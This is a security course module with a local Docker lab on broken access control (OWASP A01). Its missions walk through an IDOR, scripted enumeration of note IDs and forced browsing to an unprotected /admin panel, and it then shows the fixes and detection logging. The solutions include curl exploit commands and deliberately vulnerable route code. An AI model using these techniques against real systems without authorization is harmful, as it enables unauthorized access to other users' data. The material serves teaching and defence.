OWASP Top 10:2025 Course — Module 1 of 10. Course home · Next: Module 2 — Security Misconfiguration

Learn first: what is Broken Access Control

Broken Access Control is the #1 risk in the OWASP Top 10:2025, and it now absorbs 40 CWEs — up from 34 in 2021 — because it has pulled in Server-Side Request Forgery (SSRF), previously its own category. The logic: SSRF is an access-control failure where an attacker tricks the server into making a request it shouldn’t be authorized to make. Across OWASP’s dataset, 100% of tested applications showed at least one access-control weakness, with an average weighted exploit score of 7.04 — these bugs are reliably exploitable with nothing more exotic than a browser’s address bar.

The two patterns you’ll exploit in this module are the most common real-world forms:

Request:  GET /notes/3          Request:  GET /admin
Session:  user=alice            Session:  (none)
                                           │
          │                                │
          ▼                                ▼
   ┌─────────────┐                  ┌─────────────┐
   │ fetch note  │                  │ admin_panel │
   │ by ID only  │   <- no owner    │ no auth     │  <- no check
   │ (no check)  │      check       │ check at all│     at all
   └─────────────┘                  └─────────────┘
         │                                 │
         ▼                                 ▼
   returns bob's note            returns every user + password

Scenario briefing

You’re a junior pentester doing an authorized internal review for Acme Corp. Their engineering team built SecureNotes, an internal notes app, and asked you to "just check it’s not completely broken before launch." You have a throwaway account (alice / alice123). Nobody told you the admin panel exists — you’re expected to find it.

Lab setup

  1. Download: Download the lab (zip)
  2. Unzip it anywhere on your machine.
  3. Prerequisites: Docker Engine 20+, Docker Compose v2, Python 3.9+ on your host.
  4. Start it:
    cd owasp-a01-broken-access-control-lab
    docker compose up -d --build
  5. Check it worked:
    curl -s http://127.0.0.1:5000/ -o /dev/null -w "%{http_code}\n"   # 302 -> redirects to /login
    python3 lab.py status

    You should see the vulnerable app on http://127.0.0.1:5000 and a reference fixed app on http://127.0.0.1:5001, plus a 5-mission list from lab.py status.

Missions

Mission 1 — IDOR: read a note you don’t own. Log in as alice / alice123 at http://127.0.0.1:5000. Her dashboard shows notes #1 and #2. Change the URL to /notes/3. Submit the FLAG you find in the note body: python3 lab.py flag 1 <FLAG>.

Show solution

Solution — Mission 1

curl -s -c cj.txt -d "username=alice&password=alice123" http://127.0.0.1:5000/login
curl -s -b cj.txt http://127.0.0.1:5000/notes/3

The route GET /notes/<id> fetches by primary key with no ownership check:

@app.route("/notes/<int:note_id>")
def note_detail(note_id):
    note = conn.execute("SELECT ... WHERE notes.id=?", (note_id,)).fetchone()
    # BUG: no check that note["user_id"] == session["user_id"]
    return render_template_string(page, title=note["title"])

The note belongs to bob and contains FLAG{a01-idor-read-bobs-note}.

Mission 2 — enumerate every note. A real attacker wouldn’t stop at one ID. Loop /notes/1 through /notes/9999 as alice and see how many users’ notes you can read. The admin’s config note holds a second FLAG.

Show solution

Solution — Mission 2

for i in $(seq 1 10); do curl -s -b cj.txt http://127.0.0.1:5000/notes/$i | grep -o 'FLAG{[^}]*}'; done

Note #5 (owned by admin) contains FLAG{a01-enumerated-every-note}. This is the real-world risk of IDOR: it’s not "one leaked record," it’s "every record, scriptable."

Mission 3 — forced browsing to /admin. Without logging in at all, browse to http://127.0.0.1:5000/admin.

Show solution

Solution — Mission 3

curl -s http://127.0.0.1:5000/admin | grep -o 'FLAG{[^}]*}'

admin_panel() has no @login_required or role check — it runs for anyone. The panel prints the full users table, including plaintext passwords, and FLAG{a01-forced-browsing-admin-panel}.

Mission 4 — fix both bugs. Edit app/vulnerable_app.py: add an ownership check to note_detail() and a role-required decorator to admin_panel(). (The reference fix is in app/fixed_app.py if you want to compare, not copy blindly — write it yourself first.)

Show solution

Solution — Mission 4

if note["user_id"] != session["user_id"]:
    sec_logger.warning("IDOR ATTEMPT: user=%s tried note #%d owned by %d",
                        session.get("username"), note_id, note["user_id"])
    return render_template_string(denied_page, title="Access Denied"), 403
def role_required(role):
    def decorator(f):
        @wraps(f)
        def decorated(*a, **kw):
            if not session.get("user_id"):
                return redirect(url_for("login"))
            if session.get("role") != role:
                sec_logger.warning("ROLE VIOLATION: user=%s tried %s", session.get("username"), request.path)
                return render_template_string(denied_page, title="Access Denied"), 403
            return f(*a, **kw)
        return decorated
    return decorator

@app.route("/admin")
@role_required("admin")
def admin_panel(): ...

Restart (docker compose restart vulnerable) and run python3 lab.py verify — all 5 checks should pass.

Mission 5 — detect it. With the fix applied (or against the fixed service on :5001, which already has it), repeat missions 1 and 3, then check the logs.

Show solution

Solution — Mission 5

docker compose logs fixed | grep -E "IDOR ATTEMPT|ROLE VIOLATION"
SECURITY WARNING — IDOR ATTEMPT: user=alice tried to access note #3 owned by user_id=2
SECURITY WARNING — ROLE VIOLATION: user=alice (role=user) tried to access /admin (requires admin)

Every denied access attempt is now a structured, greppable log line — feed this into your SIEM and alert on more than N denials from one account in a short window.

Hints

Fix it + re-test

Already covered in missions 4–5 above. The short version: never trust an ID from the client as authorization — always re-derive "do I own this" or "am I allowed to see this" server-side, on every request, from the session.

Detect it

Log every access-control decision that denies a request (not just the grants) with who, what resource, and what role was required. A single denied attempt is noise; five denied attempts for different note IDs from one session in ten seconds is an IDOR enumeration in progress.

Quick self-check

  1. Why doesn’t a max="4" HTML attribute or a hidden form field count as access control?
  2. If /notes/<id> checked session.get("user_id") but not ownership, what’s still broken?
  3. Why did OWASP fold SSRF into A01 instead of keeping it separate in 2025?
Show answers

Answers

  1. Anything enforced only in the browser (HTML, JS, CSS) is cosmetic — an attacker using curl or Burp skips the browser entirely and sends whatever request they want.
  2. That only proves the user is logged in, not that they own the specific resource — exactly the IDOR in this lab.
  3. SSRF is fundamentally the server making an unauthorized request on an attacker’s behalf — it’s an access-control failure at its core, not a separate bug class.